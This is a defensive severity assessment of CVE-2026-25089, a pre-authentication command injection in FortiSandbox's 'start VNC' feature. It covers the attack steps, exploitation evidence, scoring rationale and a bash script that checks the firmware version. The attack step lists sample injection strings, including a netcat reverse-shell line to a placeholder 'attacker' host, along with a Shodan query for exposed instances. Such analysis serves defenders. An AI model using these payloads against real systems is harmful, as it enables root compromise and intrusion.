It's like letting a stranger rewrite every lab result your hospital trusts before a doctor sees it
CVE-2026-25089 is an unauthenticated OS command injection in the FortiSandbox web management interface, specifically in the 'start VNC' feature that processes JSON input without sanitizing shell metacharacters (;, |, $()). An attacker who can reach the web UI over HTTP sends a single crafted request and obtains command execution — typically as root — on the underlying appliance. Affected versions span FortiSandbox 4.2.x (all versions, no patch available without contacting Fortinet), 4.4.0–4.4.8, 5.0.0–5.0.5, FortiSandbox Cloud 5.0.4–5.0.5, and FortiSandbox PaaS 5.0.4–5.0.5. Fixed releases are 4.4.9+ and 5.0.6+.
Fortinet's CNA scored this 9.8 CRITICAL; their own PSIRT advisory (FG-IR-26-141) lists 9.1. The vendor severity is correct and, if anything, undersells the downstream impact. FortiSandbox is not just another appliance — it is the malware verdict authority for the entire Fortinet Security Fabric. When it falls, an attacker can manipulate file verdicts so that FortiGate firewalls, FortiMail gateways, FortiClient endpoints, and FortiSOAR automation all treat attacker-delivered payloads as clean. The blast radius is not one box; it is every security decision that trusted that box. CISA agreed, adding CVE-2026-25089 to KEV on July 16 with a three-day remediation deadline — the shortest tier they issue.
5 steps from start to impact.
Reach the FortiSandbox web UI
- Network path to FortiSandbox web UI (TCP/443)
- FortiSandbox is typically internal — Shodan/Censys footprint is small compared to FortiGate
- Requires prior compromise of the management network OR misconfigured public exposure
http.title:"FortiSandbox" OR ssl:"FortiSandbox" identifies internet-exposed instances. Internal asset inventory should flag any FortiSandbox with a routable management IP.Send crafted HTTP request to VNC endpoint
; id, $(whoami), | nc attacker 4444 -e /bin/sh). No authentication cookie, token, or credential is required. The web service passes user-supplied fields directly into an OS command without sanitization.- HTTP access to the management interface (Step 1 complete)
- No authentication required
- None once Step 1 is achieved — the request is trivially simple
- A public Python PoC exists (0xBlackash/CVE-2026-25089) lowering the bar further
/api/ or VNC-related URI paths. FortiAnalyzer or SIEM correlation on unusual HTTP POSTs to FortiSandbox management.Achieve command execution as root
- Successful injection from Step 2
- None — direct consequence of Step 2
Poison the Fortinet Security Fabric trust chain
- Root access on FortiSandbox (Step 3 complete)
- FortiSandbox integrated with downstream Fortinet products (standard deployment)
- This IS the standard deployment model — FortiSandbox exists to serve verdicts to the fabric
- The attacker needs knowledge of Fortinet's verdict API, but this is documented
Lateral movement and payload delivery
- Fabric trust chain poisoned (Step 4 complete)
- Target environment relies on Fortinet fabric for malware detection
- EDR from a non-Fortinet vendor may still catch payloads
- Network segmentation between sandbox VLAN and production may limit direct lateral movement
- FortiSandbox's own access controls (local admin password complexity, MFA on web UI) — the vulnerability is pre-authentication. Stronger passwords or MFA on the management interface do not prevent exploitation because the attacker never authenticates.
- WAF in front of FortiSandbox — FortiSandbox management interfaces are not typically behind a WAF, and deploying one on an internal management VLAN introduces complexity without addressing the root cause. Generic WAF rules may not catch the specific JSON-embedded shell metacharacter injection pattern.
- FortiGate IPS signatures alone — if FortiGate is compromised via FortiBleed, its IPS engine is under attacker control and cannot be trusted to block traffic to FortiSandbox on the same segment.
- Disabling VNC feature only — while the vulnerable endpoint is the 'start VNC' function, Fortinet has not confirmed that disabling VNC alone is a complete mitigation. Other injection points may exist in the same input-handling code path.
The supporting signals.
| In-the-Wild Exploitation | Confirmed. CISA added CVE-2026-25089 to KEV on 2026-07-16 citing active exploitation. Defused reported exploitation activity as early as 2026-06-16, one week after disclosure. The FortiBleed campaign (Lynx/INC ransomware group) provides the network access prerequisite via ~86,644 compromised FortiGate appliances. |
|---|---|
| Proof-of-Concept | Public. GitHub repo 0xBlackash/CVE-2026-25089 contains a Python exploit script. A Vulners/KittySploit scanner module (KS:SCANNER-HTTP-FORTINET_FORTISANDBOX_CVE_2026_25089) exists. Lyrie.ai tracked PoC publication (PT-2026-47809). The Help Net Security article notes one early exploit was 'vibecoded' (AI-generated) and possibly faulty, but functional exploits have since appeared. |
| EPSS | 0.76112 (76.1%) — places this in the top ~1% of all scored CVEs for predicted exploitation probability within 30 days. Consistent with KEV listing and active exploitation. |
| KEV Status | Listed 2026-07-16. Due date 2026-07-19 (3 days). Required action: apply vendor patches per FG-IR-26-141 or discontinue use. Forensic triage required per BOD 26-04. |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — perfect 9.8. Network-accessible, low complexity, no privileges, no interaction. Full CIA impact. The vector accurately reflects the technical reality for any reachable instance. |
| Affected Versions | FortiSandbox 4.2.x (all — EOL, contact Fortinet), 4.4.0–4.4.8, 5.0.0–5.0.5. FortiSandbox Cloud 5.0.4–5.0.5. FortiSandbox PaaS 5.0.4–5.0.5. |
| Fixed Versions | FortiSandbox 4.4.9+, 5.0.6+. Cloud/PaaS 5.0.6+. FortiSandbox 4.2.x has no public patch — must contact Fortinet TAC. |
| Exposure Surface | FortiSandbox is typically internal, not internet-facing. Shodan fingerprint: http.title:"FortiSandbox" OR ssl:"FortiSandbox". The exposed count is small relative to FortiGate (~500K+ internet-facing), but the FortiBleed campaign's 86K+ compromised FortiGate appliances means attackers may already have internal network access to reach FortiSandbox management interfaces. |
| Disclosure Timeline | Disclosed 2026-06-09 (Fortinet advisory FG-IR-26-141). Exploitation reported 2026-06-16 (Defused). KEV listed 2026-07-16. Related CVEs CVE-2026-39808 and CVE-2026-39813 patched April 2026 affect the same product. |
| Researcher / Reporter | No named external researcher credited. Fortinet PSIRT is listed as the discovering party in advisory FG-IR-26-141. |
Sources.
- Fortinet PSIRT Advisory FG-IR-26-141
- CISA KEV Entry for CVE-2026-25089
- Arctic Wolf — CVE-2026-25089 Analysis
- Help Net Security — FortiSandbox Exploitation Confirmed
- TechTimes — FortiSandbox Trust Chain Collapse
- 0xBlackash PoC Repository
- CISA KEV Addition Alert (2026-07-16)
- SecPod — CVE-2026-25089 Breakdown
Why this verdict
- Unauthenticated pre-auth RCE with trivial complexity. The CVSS 9.8 vector is accurate: no credentials, no interaction, low complexity. A single HTTP POST to the VNC endpoint delivers root-level command execution. Public PoC exists and the exploit is a one-liner curl command.
- Active exploitation confirmed with KEV listing. CISA added this to KEV on July 16, 2026 with a 3-day remediation deadline. Defused reported in-the-wild exploitation just 7 days after disclosure. EPSS at 76.1% places this in the top 1% of all CVEs for exploitation probability.
- Internal-only deployment provides moderate friction — but FortiBleed negates it. FortiSandbox is typically deployed on internal management VLANs, which would normally be a significant downward pressure. However, the concurrent FortiBleed campaign has compromised ~86,644 FortiGate firewalls, placing the Lynx/INC ransomware group on the same admin network segments where FortiSandbox resides. This friction point is substantially weakened for the current threat landscape.
- Role multiplier: FortiSandbox is a canonical high-value-role component — it IS the detection/trust plane. 100% of FortiSandbox deployments serve as the malware verdict authority for the Fortinet Security Fabric. Compromise does not just own one box — it poisons file verdicts for every FortiGate, FortiMail, FortiClient, and FortiSOAR downstream. This is analogous to compromising a CA or an EDR management console. The blast radius is fleet-scale trust chain corruption: the attacker can certify their own malware as clean across every enforcement point. Per the deployment-role framework, this component's high-value role represents 100% of the installed base (it exists solely for this purpose), establishing a CRITICAL floor that friction cannot breach.
- Chained CVEs compound the risk. CVE-2026-39808 (command injection) and CVE-2026-39813 (path traversal/auth bypass) affect the same product and were patched in April 2026. Unpatched environments face multiple independent attack paths to the same catastrophic outcome.
Why not higher?
The score is already at 9.8 CRITICAL, the maximum practical severity. The CVSS vector awards full marks across all base metrics. The only theoretical uplift would be Scope change (S:C), which is arguably warranted given the downstream fabric poisoning, but the CNA scored S:U and we assess the 9.8 as sufficient to convey the urgency.
Why not lower?
Internal-only deployment is the primary downward pressure, but it is insufficient to breach the CRITICAL floor for three reasons: (1) FortiSandbox is canonically a high-value-role component — 100% of installs serve as the security verdict authority, making fleet-scale trust chain corruption the default blast radius; (2) the FortiBleed campaign actively provides the internal network access prerequisite to threat actors already targeting Fortinet infrastructure; (3) KEV listing with a 3-day deadline and 76% EPSS reflect real-world exploitation velocity that overrides theoretical deployment assumptions.
Crowdsourced verification payload.
Run this script on the FortiSandbox appliance itself via SSH (or from a jump host that can SSH to it). It connects, extracts the firmware version from get system status, and compares it against known-vulnerable ranges. Requires SSH access and admin credentials. Usage: bash check_cve_2026_25089.sh <fortisandbox_ip> <admin_user>
#!/usr/bin/env bash
# check_cve_2026_25089.sh — Detect CVE-2026-25089 on FortiSandbox
# Usage: bash check_cve_2026_25089.sh <host> <user>
# Requires: ssh access to the FortiSandbox CLI, admin credentials
# Exit codes: 1=VULNERABLE, 0=PATCHED, 2=UNKNOWN
set -euo pipefail
HOST="${1:-}"
USER="${2:-admin}"
if [[ -z "$HOST" ]]; then
echo "Usage: $0 <fortisandbox-ip-or-hostname> [username]"
echo "UNKNOWN - no host provided"
exit 2
fi
echo "[*] Connecting to FortiSandbox at $HOST as $USER ..."
VERSION_OUTPUT=$(ssh -o ConnectTimeout=10 -o StrictHostKeyChecking=no "${USER}@${HOST}" \
'get system status' 2>/dev/null) || {
echo "UNKNOWN - SSH connection failed to $HOST"
exit 2
}
# Extract version line, e.g., "Version: FortiSandbox v5.0.5 build0123"
VER_LINE=$(echo "$VERSION_OUTPUT" | grep -i '^Version' | head -1)
if [[ -z "$VER_LINE" ]]; then
echo "UNKNOWN - could not parse version from 'get system status'"
echo "Raw output: $VERSION_OUTPUT"
exit 2
fi
echo "[*] Detected: $VER_LINE"
# Extract major.minor.patch
VERSION=$(echo "$VER_LINE" | grep -oP 'v\K[0-9]+\.[0-9]+\.[0-9]+')
if [[ -z "$VERSION" ]]; then
echo "UNKNOWN - could not extract version number from: $VER_LINE"
exit 2
fi
MAJOR=$(echo "$VERSION" | cut -d. -f1)
MINOR=$(echo "$VERSION" | cut -d. -f2)
PATCH=$(echo "$VERSION" | cut -d. -f3)
echo "[*] Parsed version: $MAJOR.$MINOR.$PATCH"
# Vulnerable ranges:
# 4.2.x — all versions (no public patch)
# 4.4.0 - 4.4.8
# 5.0.0 - 5.0.5
# Fixed: 4.4.9+, 5.0.6+
VULNERABLE=false
if [[ "$MAJOR" -eq 4 && "$MINOR" -eq 2 ]]; then
echo "[!] Version 4.2.x — ALL versions vulnerable, no public patch available"
VULNERABLE=true
elif [[ "$MAJOR" -eq 4 && "$MINOR" -eq 4 ]]; then
if [[ "$PATCH" -le 8 ]]; then
echo "[!] Version 4.4.$PATCH is in vulnerable range (4.4.0–4.4.8)"
VULNERABLE=true
else
echo "[+] Version 4.4.$PATCH is patched (>= 4.4.9)"
fi
elif [[ "$MAJOR" -eq 5 && "$MINOR" -eq 0 ]]; then
if [[ "$PATCH" -le 5 ]]; then
echo "[!] Version 5.0.$PATCH is in vulnerable range (5.0.0–5.0.5)"
VULNERABLE=true
else
echo "[+] Version 5.0.$PATCH is patched (>= 5.0.6)"
fi
else
echo "[?] Version $VERSION is outside known affected ranges"
echo "UNKNOWN - verify manually against Fortinet advisory FG-IR-26-141"
exit 2
fi
if $VULNERABLE; then
echo ""
echo "========================================"
echo " VULNERABLE — CVE-2026-25089 applies"
echo " Upgrade to 4.4.9+ or 5.0.6+ NOW"
echo "========================================"
exit 1
else
echo ""
echo "========================================"
echo " PATCHED — CVE-2026-25089 remediated"
echo "========================================"
exit 0
fi